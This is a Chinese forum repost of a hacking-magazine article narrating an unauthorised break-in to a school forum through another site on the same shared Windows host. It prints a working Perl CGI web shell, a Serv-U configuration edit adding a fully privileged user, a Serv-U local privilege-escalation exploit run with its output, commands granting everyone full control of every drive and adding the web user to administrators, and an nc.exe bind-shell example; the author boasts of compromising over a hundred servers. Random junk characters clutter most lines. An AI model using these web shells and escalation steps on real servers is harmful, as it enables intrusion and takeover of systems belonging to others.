中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
1 {  R5 A, M6 E5 M; [% _# i' l本文作者:angel/ F2 b+ c+ o/ H" i9 d2 H
文章性质:原创) c0 T: w- S8 k+ Z3 f* K4 ^- O
发布日期:2004-11-09
6 |6 t! h' i1 M* C0 C; b注意:/ G; P# M9 C! _  W3 p  b2 m
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。0 `- }9 Z9 z: D' l/ J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& ~4 U, U& B+ R

7 s0 c2 q5 b' W! ?. N' V  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ; o" j4 k! f" z& l0 k/ u

1 a! L* l1 E1 R; S  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 8 T4 M7 |5 H3 b* R

, J7 _0 V8 V  T  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 $ R# r9 x" e7 Z& d0 q

8 t( ]3 c  `3 a4 a/ j7 {7 o$ J  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
3 U% h' i, w6 o& ~, Q! O+ N5 O+ Z* @# Q4 R2 c3 G
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 6 p$ t+ }8 n6 [3 x! H9 e2 h

9 {4 r+ W* b3 p  ]  q  没有目的的跳转目录着……
1 b) I$ v& @+ x5 o0 q; F2 i
: `) T, ]6 m+ U  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 5 X  m3 b+ D, L

& \' [* ]* m3 x, Z: H/ L2 S  结束了吗?不,我试着 FTP 一下: ( K1 u& g9 d/ W0 ]

1 u% q# ?; u2 j' fMicrosoft Windows 2000 [Version 5.00.2195]3 L/ E  G# _7 e
(C) 版权所有 1985-2000 Microsoft Corp. ; d! u  ]+ T9 H# Y+ Q" y

" s. k. ]3 `2 {, @. n0 ^C:\Documents and Settings\Administrator>ftp www.school.com' a# d9 }. k) N: d8 Q2 d3 M  p
Connected to www. school.com. 6 p8 t, l- O& Z
220 Welcome to FTP Server...
) m! w2 G; u2 g+ p' J1 ?2 u: {User (www.bjtrq.com:(none)):
/ O) R  a& R$ {1 m3 V" Y* w331 User name okay, need password. * }0 I7 K4 T; ?$ w4 |
Password:
, g. r  v& _, X' w* q; S530 Not logged in.
, K7 k  _7 `  |: ?% ?Login failed. % ]4 |& W4 o) E" F
ftp> bye
$ e! x0 D. o) L1 k6 w$ q221 Goodbye! 0 L* x6 F2 t# T. y
" w( ?( |+ S$ p5 u

! K# s( C. q; e8 G" I  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
0 H% V: j: k; B2 H0 o) x
6 A$ G" _5 j1 u; M" r: D  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 , x. y; W8 P$ @3 o( s% c0 O

# z% }& @7 Q8 q8 c" J; C4 WApplication Data; s9 r9 d+ X% b* e" m4 w, n* d
Documents
5 a7 H" c$ m- T; ~  Z1 N! D# ~DRM
1 R% U' @. K* s, `) YFavorites
  z0 d9 p1 t- X/ N$ m5 oTemplates
; D! `! r2 Y: C2 x, f4 u「开始」菜单
  N* a9 E2 v9 S! X. ^桌面
+ v# |" V& R" d: m! c ; t8 Q+ n* R1 G# k" A4 o8 |. J
" |" i% t; c1 w4 [
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# L% X, `* F$ X  X6 [
7 h# f  D, M$ O. K# LActiveState ActivePerl 5.83 K- h4 ?: [3 B3 f4 H
Administrative Tools" p1 a6 N, \' v3 \
Deerfield.com
/ v/ V' a- b: x. KDTemp
" c  c2 z& y2 _$ ^IPSentry+ @- J9 l6 t6 y+ K
MBM 55 s3 Y8 S* K1 ~
NetMeter7 p2 W  P/ \. g0 ]0 U& d
Network ICE
/ B3 i# m* j) K- W8 A, Q. IPersits Software AspEmail
$ A2 r( D- N# w" J; H  sPersits Software AspJpeg
6 X2 t( L4 M* D4 c3 G/ \Serv-U FTP Server
# d- u( u% ?# q, X# i, m0 z% {, R/ jSymantec Client Security0 q4 u0 G) g# Y* f- |; }
Windows 优化大师& T0 d& {; d" _1 G0 w: X! |9 k" i
WinRAR
+ J" q$ |9 h! z; ]) C启动
2 z) A9 y2 o% h9 R管理工具/ t9 w& E  c, U# \; D
附件9 J: ?% o8 W9 X) u1 t- q+ I
+ x9 {' o4 n* T' E1 x- H
5 w9 j; _4 _$ V+ z& z% s) r7 H' n
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ; B8 V6 C/ y' C: e

! H+ |* a3 G0 C( Q! E9 m% O% T  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
5 J3 h$ y* l$ T+ c0 b8 F, a/ f7 J  b5 Q2 K* |
User281=angel|1|0 7 |" Q! w+ _0 b: u8 q

; p4 z9 l2 r9 F+ e; C7 \4 D. `( Q) C' k) U! l7 M' p/ L
  然后加上
7 B& P; s5 r7 t
2 s* {+ u: R0 p; e& u[USER=angel|1]
  @! y+ Y) a# c! K' ZPassword=ng98F85379EA68DBF97BAADCA99B69B8059 T. V) {. t7 e4 I$ S" t. }
HomeDir=D:\websites# @8 \/ H/ U9 Y, `
RelPaths=1
0 [& g% ?' b% z& I6 w7 o- u+ F' J5 cTimeOut=600; I. E0 `$ D( ^# q1 Y" E
Maintenance=System
. ?0 N- A- d; N: d8 WAccess1=D:\websites|RWAMELCDP% J4 C: r& I3 a1 k. ?  `2 E
SKEYValues=
, L( |9 H& x' d; P* ` 9 O- t: T- e0 L$ p. |* O& `
4 ]! N1 M4 [& F% M/ S; C  w
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
6 O: k+ F& ?) n- S* U. h
( V3 t% x$ n& S  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
4 p$ S; S2 [# \9 @6 g4 h9 i0 G& W+ G- C- T* j
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 6 L3 j/ o; R  }% b" @- o
3 k: m, o6 l' y
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: - t$ p( p% K! P; g6 f" Y# b1 l

7 ~# f; C. _, d) S#!/usr/bin/perl' M' U% ]& K7 B! _" l0 ^
binmode(STDOUT);9 Y4 y3 m8 I5 |/ r$ d
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
" Y& T9 g3 l! B5 R& X+ V' n$ v$_ = $ENV{QUERY_STRING};
# r& z" R, T: U" q2 `s/%20/ /ig;- h! t4 N% |7 ]; q1 f0 ]
s/%2f/\//ig;1 U2 ]( ?: a5 T7 y/ N7 S8 J
$execthis = $_;+ w6 H- w, a3 W5 F& ^# m7 c
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);/ c: D% e. ~3 y4 i/ T- N& e0 X, y- d
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
. e& l1 p  V3 c% Y* ?7 zsystem($execthis);
. `/ W% F0 A, u2 |syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
+ @& g" b1 _& I# f3 Zclose(STDERR);/ \' {3 T" i9 H9 u$ n3 N" j  r' p; O
close(STDOUT);
  [- J& O! e, s* Hexit;
# ^+ u" U' L7 k/ s0 o  c$ g " l8 y( O8 ?9 ~) e! p* A

0 U$ ]' d% R3 U1 V  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
6 E9 o1 j3 U- Z! k; V( x7 R' q% k0 T' O
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: + Z" e+ G7 e! O: u: N2 G$ m. q

: I' @( c4 G) e$ D: zhttp://anyhost//cmd.pl?d:\user\bin\su.exe * L( Q! G& K: ^/ j
7 N! u8 g( f% ^- b

( U* f3 ?1 G1 m- W+ {' q) B  返回:
; u: [0 p' u$ e) Y$ }
$ I/ H7 B* q& V+ ?$ c. Q" OServ-u >3.x Local Exploit by xiaolu % ~5 @3 t' u- L+ e* t7 ]1 `7 C

6 N( m0 Y. y5 g( WUSAGE: serv-u.exe "command" " j6 I) [1 S2 e  c5 M

2 K2 p1 R! F/ C. [* L1 ?+ CExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
* a" S* E% }2 Q
$ G- u1 b+ C4 `" ]1 N6 U! `, }/ o3 l( K4 e' S, t
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
8 C' {# ]/ f5 }3 G* C' ?8 `) F: ~$ ~; C. |
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" , b* v, X$ d  g9 M( r
1 |# Y" ^5 n7 Z% M1 |+ v' v2 q6 M
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" , i* O0 }' b( F. o# r

5 `7 l( R' [8 W7 o4 F1 |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
/ r# S% H* z& g3 E/ ~, [6 \0 K$ g: r8 s: {& w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"   Y$ U0 U8 Z' q) ~, s

+ p4 C# C: H2 y; Z; N. u
2 v& \# U# i" u+ U) ~& q  返回下面的信息,就表示成功了!!! 7 n# C" S$ A* ?3 ]
! T* s* ~3 w7 k+ m
Serv-u >3.x Local Exploit by xiaolu
& q3 Z$ W& h2 Y" d2 b* p# V+ ?  K, `; t4 }# U0 F1 l
<220 Serv-U FTP Server v5.2 for WinSock ready... 9 Z6 D5 P) H& O6 M7 A8 h% l
) Z* F* x% j. g, q8 e3 ~' X
>USER LocalAdministrator
5 V2 g4 d+ y- r- ~+ \) A- K6 X) l+ ^1 X0 h6 u& y+ Y$ ^" ~: w; c6 P
<331 User name okay, need password.
+ E1 B# `# G9 s& T( J; O  h5 Z; X
  M$ u) j' O# F+ r/ O( _******************************************************
: J* e8 {5 \) ?1 O7 t& C/ @7 Y
9 U0 H, i/ g2 N) q>PASS #l@$ak#.lk;0@P + o, U! T# k% k( ]5 O3 W$ w3 P
3 s; K, i5 _4 C# I6 p4 e4 b1 l
<230 User logged in, proceed. 4 S$ T5 T, |9 _& F; `: j( D  B2 _

# g3 {3 Y; D4 k. X; I9 j8 D* K******************************************************
/ X# _( t( P1 {8 a6 A+ J
) Q( m3 h$ o; y>SITE MAINTENANCE 9 ^! F4 T# B" o: w5 s

( P6 S4 G$ f3 g******************************************************
3 v- k# c+ s7 C2 C$ b
! C$ c# c0 t4 y# t% c  z7 ^2 U[+] Creating New Domain... / f) w: I: _; D% W, d1 D/ p/ V" K

: @7 u; I5 @3 ]" Z<200-DomainID=2
# x; Q' e* Y  l$ Z- S$ u( s0 q# H+ m% K6 r" T, L" Y# u# [5 T6 b
<220 Domain settings saved " N" {: `! [8 g, y/ {+ k/ Y: V9 H. D
% L: M3 c7 s( {# l. s- x
******************************************************
- m/ d" A0 x9 ^' d3 |7 j, I+ k
6 d: v# w% Q5 N6 A1 E8 v[+] Domain xl:2 Created   V' T! |( W$ ?  w

! J) B+ M/ ~3 R% h7 r8 ^/ o7 n[+] Creating Evil User
5 S( \3 c/ t/ Y7 z5 u  f! B  e" U" z2 _
<200-User=xl
# R8 q- S2 T' `
: K0 h: i2 P# s  G7 k$ T8 g200 User settings saved
5 j* d1 L6 N0 m, J3 Q
. e- p) q% V$ s) C% _1 o" z4 [******************************************************
, h. W; N, u! O4 ^" T) E
$ C6 a. x, |' L" Z' W[+] Now Exploiting...
4 I0 o( U5 \7 D/ D+ |: ?6 s( J2 ]& f+ t7 j6 Y, u
>USER xl ( S# |) j: B8 h) o; n3 e
: a1 N! ?% {& D- r7 }
<331 User name okay, need password. 2 n. B3 b6 H# G) ^1 ?5 y. v
  {3 g& y$ d: I6 t, }$ ~8 V
******************************************************
1 |; E4 r* f+ ?: D2 T  B
; `8 n! s/ |6 Z>PASS 111111 ; w- [& A% j4 e

3 q/ t  \1 B& f- `. q/ w0 x( J5 H! }8 y<230 User logged in, proceed. ' O8 S* A# l' m, E1 x5 ~& N

6 y! `$ q0 f4 R7 G6 g******************************************************
! _$ K, r& j  y( c+ _7 {5 k% j
7 d+ [. j$ j6 G9 z: O[+] Now Executing: cacls.exe c: /E /T /G everyone:F / E) K; U+ L) F3 ]4 G* c! N! p
. E  ?* I" C$ L# {  u* J. e. P
<220 Domain deleted . R( F5 {: n  e8 q. F6 I1 M( ]/ ]. M
; s5 j; [% N2 `# I
****************************************************** ' n: h( l% N9 I# @: J! y8 Z9 R
- n" ~& j5 x; s8 |7 [6 j+ J

& j. W- l: B$ I: N  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
# N6 s! Z& `/ P- _
& B- e# w; x3 N  Q3 }. n. }http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 0 P  z8 y% A: v. c* O

- k6 }2 Z" a, Y% f" e9 I% _
3 X0 |0 ^* w5 `% o" f  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
7 S, H8 ]% ]- N  o" i% r' d3 a0 u
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
" j% D+ ?0 `3 l( [
1 ?6 @6 q$ m0 R; v8 F  
+ r( q. F) l% I( N1 B+ q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2